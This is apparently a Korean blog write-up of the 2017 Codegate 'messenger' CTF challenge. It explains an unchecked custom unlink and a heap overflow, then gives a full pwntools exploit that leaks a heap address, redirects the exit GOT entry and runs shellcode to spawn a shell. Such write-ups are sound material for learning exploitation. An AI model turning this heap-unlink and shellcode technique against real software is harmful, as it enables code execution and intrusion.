2017 codegate messenger
NX가 존재하지 않는다~
Leave Messege는 custom malloc을 해준다. 할당하자 마자 fd와 bk가 존재한다. 그리고 bss영역에서 배열로 heap의 주소를 관리한다 -> unsafe unlink ?!
Remove Message는 custom free를 해준다. unlink!, 근데 bk->fd와 fd->bk가 자신이란걸 검사를 안하니 unsafe unlink를 안해도 된다.
Change Messege에서 heap overflow가가능하다.
View Message에서 fd와 bk를 leak할 수 있다.
익스플로잇 흐름도는 다음과 같다.
xxxxxxxxxx
from pwn import *
context.update(arch='amd64', os='linux')
context.log_level = 'debug'
e = ELF('./messenger')
s = process('./messenger')
def malloc(size, msg):
s.recvuntil('>> ')
s.sendline('L')
s.recvuntil(': ')
s.sendline(size)
s.recvuntil(': ')
s.sendline(msg)
def free(idx):
s.recvuntil('>> ')
s.sendline('R')
s.recvuntil(': ')
s.sendline(idx)
def change(idx, size, msg):
s.recvuntil('>> ')
s.sendline('C')
s.recvuntil(': ')
s.sendline(idx)
s.recvuntil(': ')
s.sendline(size)
s.recvuntil(': ')
s.send(msg)
def view(idx):
s.recvuntil('>> ')
s.sendline('V')
s.recvuntil(': ')
s.sendline(idx)
return s.recv(68)[-4:]
malloc('32', 'seongjo')
malloc('32', 'isinbob')
pay = 'A'*64
change('0', str(len(pay)), pay)
leak = u32(view('0'))
print("leak!: {}".format(hex(leak)))
pay = 'A'*48
pay += p64(0x49)
pay += p64(e.got['exit'] - 16)
pay += p64(leak + 24)
change('0', str(len(pay)), pay)
free('1')
shell = asm(shellcraft.sh())
change('0', str(len(shell)), shell)
s.sendline('7')
s.interactive()
몽쉘~
'system > writeup' 카테고리의 다른 글
2017 codegate angrybird (0) | 2019.01.09 |
---|---|
2014 plaidCTF kappa (0) | 2019.01.08 |
2017 codegate hunting (0) | 2019.01.06 |
2017 codegate babymisc (0) | 2019.01.05 |
pwnable.tw start (0) | 2019.01.05 |